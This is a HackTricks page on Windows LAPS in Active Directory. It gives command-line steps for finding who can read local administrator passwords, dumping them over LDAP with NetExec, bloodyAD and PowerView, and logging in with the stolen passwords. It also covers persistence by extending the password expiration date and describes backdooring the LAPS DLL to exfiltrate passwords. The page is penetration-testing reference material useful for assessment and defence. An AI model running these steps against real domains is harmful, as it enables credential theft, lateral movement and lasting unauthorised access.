laps.md (17477B)
1 --- 2 title: "LAPS" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/laps.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/laps.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # LAPS 14 15 ## Basic Information 16 17 There are currently **2 LAPS flavours** you can encounter during an assessment: 18 19 - **Legacy Microsoft LAPS**: stores the local administrator password in **`ms-Mcs-AdmPwd`** and the expiration time in **`ms-Mcs-AdmPwdExpirationTime`**. 20 - **Windows LAPS** (built into Windows since the April 2023 updates): can still emulate legacy mode, but in native mode it uses **`msLAPS-*`** attributes, supports **password encryption**, **password history**, and **DSRM password backup** for domain controllers. 21 22 LAPS is designed to manage **local administrator passwords**, making them **unique, randomized, and frequently changed** on domain-joined computers. If you can read those attributes, you can usually **pivot as the local admin** to the affected host. In many environments, the interesting part is not only reading the password itself, but also finding **who was delegated access** to the password attributes. 23 24 ### Legacy Microsoft LAPS attributes 25 26 In the domain's computer objects, the implementation of legacy Microsoft LAPS results in the addition of two attributes:<sup>[[1]](#references)</sup> 27 28 - **`ms-Mcs-AdmPwd`**: **plain-text administrator password** 29 - **`ms-Mcs-AdmPwdExpirationTime`**: **password expiration time** 30 31 ### Windows LAPS attributes 32 33 Native Windows LAPS adds several new attributes to computer objects:<sup>[[2]](#references)</sup> 34 35 - **`msLAPS-Password`**: clear-text password blob stored as JSON when encryption is not enabled 36 - **`msLAPS-PasswordExpirationTime`**: scheduled expiration time 37 - **`msLAPS-EncryptedPassword`**: encrypted current password 38 - **`msLAPS-EncryptedPasswordHistory`**: encrypted password history 39 - **`msLAPS-EncryptedDSRMPassword`** / **`msLAPS-EncryptedDSRMPasswordHistory`**: encrypted DSRM password data for domain controllers 40 - **`msLAPS-CurrentPasswordVersion`**: GUID-based version tracking used by newer rollback-detection logic (Windows Server 2025 forest schema) 41 42 When **`msLAPS-Password`** is readable, the value is a JSON object containing the account name, update time and clear-text password, for example:<sup>[[2]](#references)</sup> 43 44 ```json 45 {"n":"Administrator","t":"1d8161b41c41cde","p":"A6a3#7%..."} 46 ``` 47 48 ### Check if activated 49 50 ```bash 51 # Legacy Microsoft LAPS policy 52 reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 53 54 dir "C:\Program Files\LAPS\CSE" 55 # Check if that folder exists and contains AdmPwd.dll 56 57 # Native Windows LAPS binaries / PowerShell module 58 Get-Command *Laps* 59 dir "$env:windir\System32\LAPS" 60 61 # Find GPOs that have "LAPS" or some other descriptive term in the name 62 Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl 63 64 # Legacy Microsoft LAPS-enabled computers (any Domain User can usually read the expiration attribute) 65 Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | 66 ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | 67 select DnsHostname 68 69 # Native Windows LAPS-enabled computers 70 Get-DomainObject -LDAPFilter '(|(msLAPS-PasswordExpirationTime=*)(msLAPS-EncryptedPassword=*)(msLAPS-Password=*))' | 71 select DnsHostname 72 ``` 73 74 ## LAPS Password Access 75 76 You could **download the raw LAPS policy** from `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` and then use **`Parse-PolFile`** from the [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) package to convert this file into human-readable format. 77 78 ### Legacy Microsoft LAPS PowerShell cmdlets 79 80 If the legacy LAPS module is installed, the following cmdlets are usually available: 81 82 ```bash 83 Get-Command *AdmPwd* 84 85 CommandType Name Version Source 86 ----------- ---- ------- ------ 87 Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS 88 Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS 89 Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS 90 Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS 91 Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS 92 Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS 93 Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS 94 Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS 95 96 # List who can read the LAPS password of the given OU 97 Find-AdmPwdExtendedRights -Identity Workstations | fl 98 99 # Read the password 100 Get-AdmPwdPassword -ComputerName wkstn-2 | fl 101 ``` 102 103 ### Windows LAPS PowerShell cmdlets 104 105 Native Windows LAPS ships with a new PowerShell module and new cmdlets: 106 107 ```bash 108 Get-Command *Laps* 109 110 # Discover who has extended rights over the OU 111 Find-LapsADExtendedRights -Identity Workstations 112 113 # Read a password from AD 114 Get-LapsADPassword -Identity wkstn-2 -AsPlainText 115 116 # Include password history if encryption/history is enabled 117 Get-LapsADPassword -Identity wkstn-2 -AsPlainText -IncludeHistory 118 119 # Query DSRM password from a DC object 120 Get-LapsADPassword -Identity dc01.contoso.local -AsPlainText 121 122 # Use alternate credentials for an authorized decryptor 123 $cred = Get-Credential CONTOSO\LAPSDecryptor 124 Get-LapsADPassword -Identity wkstn-2 -AsPlainText -DecryptionCredential $cred 125 ``` 126 127 A few operational details matter here:<sup>[[3]](#references)</sup> 128 129 - **`Get-LapsADPassword`** automatically handles **legacy LAPS**, **clear-text Windows LAPS**, and **encrypted Windows LAPS**. 130 - If the password is encrypted and you can **read** but not **decrypt** it, the cmdlet returns metadata such as **`Source`**, **`DecryptionStatus`**, and **`AuthorizedDecryptor`** even when it can't return the clear-text password. 131 - In **encrypted Windows LAPS**, **read permission** and **decrypt permission** are **different controls**. Having OU / object read access doesn't automatically mean you can decrypt **`msLAPS-EncryptedPassword`**. 132 - **Password history** is only available when **Windows LAPS encryption** is enabled. 133 - On domain controllers, the returned source can be **`EncryptedDSRMPassword`**. 134 135 This is useful during an assessment because the **`AuthorizedDecryptor`** field tells you **which user or group the blob was encrypted for**, often turning a failed password read into a new privilege-escalation target. 136 137 ### PowerView / LDAP 138 139 **PowerView** can also be used to find out **who can read the password and read it**: 140 141 ```bash 142 # Legacy Microsoft LAPS: find principals with rights over the OU 143 Find-AdmPwdExtendedRights -Identity Workstations | fl 144 145 # Legacy Microsoft LAPS: read the password directly from LDAP 146 Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime 147 148 # Native Windows LAPS clear-text mode 149 Get-DomainObject -Identity wkstn-2 -Properties msLAPS-Password,msLAPS-PasswordExpirationTime 150 ``` 151 152 If **`msLAPS-Password`** is readable, parse the returned JSON and extract **`p`** for the password and **`n`** for the managed local admin account name. 153 154 ```bash 155 # Extract both the password and the real managed account name 156 $laps = (Get-DomainObject -Identity wkstn-2 -Properties msLAPS-Password)."msLAPS-Password" | ConvertFrom-Json 157 $laps.n 158 $laps.p 159 ``` 160 161 That **`n`** field matters on newer deployments because **Windows LAPS automatic account management** can target a **custom account** instead of the built-in **`Administrator`**, and newer **Windows 11 24H2 / Windows Server 2025** systems can even **randomize** that account name.<sup>[[4]](#references)</sup> 162 163 ### Linux / remote tooling 164 165 Modern tooling supports both legacy Microsoft LAPS and Windows LAPS. 166 167 ```bash 168 # NetExec / CrackMapExec lineage: dump LAPS values over LDAP 169 nxc ldap 10.10.10.10 -u user -p password -M laps 170 171 # Filter to a subset of computers 172 nxc ldap 10.10.10.10 -u user -p password -M laps -o COMPUTER='WKSTN-*' 173 174 # Use read LAPS access to authenticate to hosts at scale 175 nxc smb 10.10.10.0/24 -u user-can-read-laps -p 'Passw0rd!' --laps 176 177 # If the local admin name is not Administrator 178 nxc smb 10.10.10.0/24 -u user-can-read-laps -p 'Passw0rd!' --laps customadmin 179 180 # Legacy Microsoft LAPS with bloodyAD 181 bloodyAD --host 10.10.10.10 -d contoso.local -u user -p 'Passw0rd!' \ 182 get search --filter '(ms-mcs-admpwdexpirationtime=*)' \ 183 --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime 184 ``` 185 186 Notes: 187 188 - Recent **NetExec** builds support **`ms-Mcs-AdmPwd`**, **`msLAPS-Password`**, and **`msLAPS-EncryptedPassword`**. 189 - **`pyLAPS`** is still useful for **legacy Microsoft LAPS** from Linux, but it only targets **`ms-Mcs-AdmPwd`**. 190 - Newer cross-platform tooling such as **`LAPS4LINUX`**, **`dpapi-ng`**-based tooling, and recent **NetExec** workflows can also handle **native Windows LAPS** from non-Windows hosts. 191 - If the environment uses **encrypted Windows LAPS**, a simple LDAP read is not enough; you also need to be an **authorized decryptor** (or equivalent decryption material, such as offline domain DPAPI-NG root key material).<sup>[[5]](#references)</sup> 192 - On **Windows 11 24H2 / Windows Server 2025**, don't assume the managed local admin is always **`Administrator`**. Automatic account management can create a custom account and optionally randomize its name, so discover the account name first via **`n`** / **`Account`** before using **`--laps`** at scale.<sup>[[4]](#references)</sup> 193 194 ### Directory synchronization abuse 195 196 If you have domain-level **directory synchronization** rights instead of direct read access on each computer object, LAPS can still be interesting. 197 198 The combination of **`DS-Replication-Get-Changes`** with **`DS-Replication-Get-Changes-In-Filtered-Set`** or **`DS-Replication-Get-Changes-All`** can be used to synchronize **confidential / RODC-filtered** attributes such as legacy **`ms-Mcs-AdmPwd`**. BloodHound models this as **`SyncLAPSPassword`**. Check [DCSync](/hacktricks/windows-hardening/active-directory-methodology/dcsync) for the replication-rights background. 199 200 ## LAPSToolkit 201 202 The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilitates the enumeration of LAPS with several functions.<sup>[[6]](#references)</sup>\ 203 One is parsing **`ExtendedRights`** for **all computers with LAPS enabled.** This shows **groups** specifically **delegated to read LAPS passwords**, which are often users in protected groups.\ 204 An **account** that has **joined a computer** to a domain receives `All Extended Rights` over that host, and this right gives the **account** the ability to **read passwords**. Enumeration may show a user account that can read the LAPS password on a host. This can help us **target specific AD users** who can read LAPS passwords. 205 206 ```bash 207 # Get groups that can read passwords 208 Find-LAPSDelegatedGroups 209 210 OrgUnit Delegated Groups 211 ------- ---------------- 212 OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins 213 OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin 214 215 # Checks the rights on each computer with LAPS enabled for any groups 216 # with read access and users with "All Extended Rights" 217 Find-AdmPwdExtendedRights 218 ComputerName Identity Reason 219 ------------ -------- ------ 220 MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated 221 MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated 222 223 # Get computers with LAPS enabled, expiration time and the password (if you have access) 224 Get-LAPSComputers 225 ComputerName Password Expiration 226 ------------ -------- ---------- 227 DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41 228 ``` 229 230 ## Dumping LAPS Passwords With NetExec / CrackMapExec 231 232 If you don't have an interactive PowerShell, you can abuse this privilege remotely over LDAP: 233 234 ```bash 235 # Legacy syntax still widely seen in writeups 236 crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps 237 238 # Current project name / syntax 239 nxc ldap 10.10.10.10 -u user -p password -M laps 240 ``` 241 242 This dumps all the LAPS secrets that the user can read, allowing you to move laterally with a different local administrator password. 243 244 ## Using LAPS Password 245 246 ```bash 247 xfreerdp /v:192.168.1.1:3389 /u:Administrator 248 Password: 2Z@Ae)7!{9#Cq 249 250 python psexec.py Administrator@web.example.com 251 Password: 2Z@Ae)7!{9#Cq 252 ``` 253 254 ## LAPS Persistence 255 256 ### Expiration Date 257 258 Once admin, it's possible to **obtain the passwords** and **prevent** a machine from **updating** its **password** by **setting the expiration date into the future**. 259 260 Legacy Microsoft LAPS: 261 262 ```bash 263 # Get expiration time 264 Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime 265 266 # Change expiration time 267 ## SYSTEM on the computer is needed 268 Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"} 269 ``` 270 271 Native Windows LAPS uses **`msLAPS-PasswordExpirationTime`** instead: 272 273 ```bash 274 # Read the current expiration timestamp 275 Get-DomainObject -Identity wkstn-2 -Properties msLAPS-PasswordExpirationTime 276 277 # Push the expiration into the future 278 Set-DomainObject -Identity wkstn-2 -Set @{"msLAPS-PasswordExpirationTime"="133801632000000000"} 279 ``` 280 281 > [!WARNING] 282 > The password will still rotate if an **admin** uses **`Reset-AdmPwdPassword`** / **`Reset-LapsPassword`**, or if **Do not allow password expiration time longer than required by policy** is enabled. 283 284 ### Snapshot rollback caveat on newer Windows LAPS 285 286 Older snapshot / image rollback tricks are **less reliable** against recent **Windows LAPS** deployments. On **Windows 11 24H2 / Windows Server 2025**, if the forest schema includes **`msLAPS-CurrentPasswordVersion`** (**Windows Server 2025 forest schema**), the client compares a locally cached GUID with the value stored in AD and **immediately rotates the password** when a rollback creates a **torn state**. 287 288 In practice, this means snapshot-based persistence or attempts to resurrect an older known local admin password can burn quickly instead of surviving until the next normal expiration.<sup>[[2]](#references)</sup> 289 290 This protection only applies to **AD-backed Windows LAPS** and still depends on the reverted machine being able to **authenticate back to AD**. If the machine can't talk to AD anymore, **password history** or **AD backup access** may still save the day. 291 292 ### Automatic account management tamper caveat 293 294 When **automatic account management** is enabled, Windows LAPS owns the lifecycle of the managed local admin account. Unexpected attempts to rename, reconfigure, or otherwise tamper with that account can be rejected with **`STATUS_POLICY_CONTROLLED_ACCOUNT`** / **`ERROR_POLICY_CONTROLLED_ACCOUNT`**, so persistence that depends on silently modifying the managed LAPS account is less reliable on newer endpoints.<sup>[[4]](#references)</sup> 295 296 ### Recovering historical passwords from AD backups 297 298 When **Windows LAPS encryption + password history** is enabled, mounted AD backups can become an additional source of secrets. If you can access a mounted AD snapshot and use **recovery mode**, you can query older stored passwords without talking to a live DC.<sup>[[3]](#references)</sup> 299 300 ```bash 301 # Query a mounted AD snapshot on port 50000 302 Get-LapsADPassword -Identity wkstn-2 -AsPlainText -Port 50000 -RecoveryMode 303 304 # Historical entries if history is enabled 305 Get-LapsADPassword -Identity wkstn-2 -AsPlainText -IncludeHistory -Port 50000 -RecoveryMode 306 ``` 307 308 This is mostly relevant during **AD backup theft**, **offline forensics abuse**, or **disaster-recovery media access**. 309 310 ### Backdoor 311 312 The original source code for legacy Microsoft LAPS can be found [here](https://github.com/GreyCorbel/admpwd), therefore it's possible to put a backdoor in the code (inside the `Get-AdmPwdPassword` method in `Main/AdmPwd.PS/Main.cs` for example) that will somehow **exfiltrate new passwords or store them somewhere**. 313 314 Then, compile the new `AdmPwd.PS.dll` and upload it to the machine in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (and change the modification time). 315 316 ## References 317 318 - [1] [Introduction to Microsoft LAPS – Local Administrator Password Solution](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/) 319 - [2] [Windows LAPS schema and rights extensions for Windows Server Active Directory](https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-technical-reference) 320 - [3] [Get started with Windows LAPS and Windows Server Active Directory](https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-windows-server-active-directory) 321 - [4] [Windows LAPS account management modes](https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-concepts-account-management-modes) 322 - [5] [LAPS 2.0 Internals - XPN Infosec Blog](https://blog.xpnsec.com/lapsv2-internals/) 323 - [6] [LAPSToolkit - leoloobeek](https://github.com/leoloobeek/LAPSToolkit)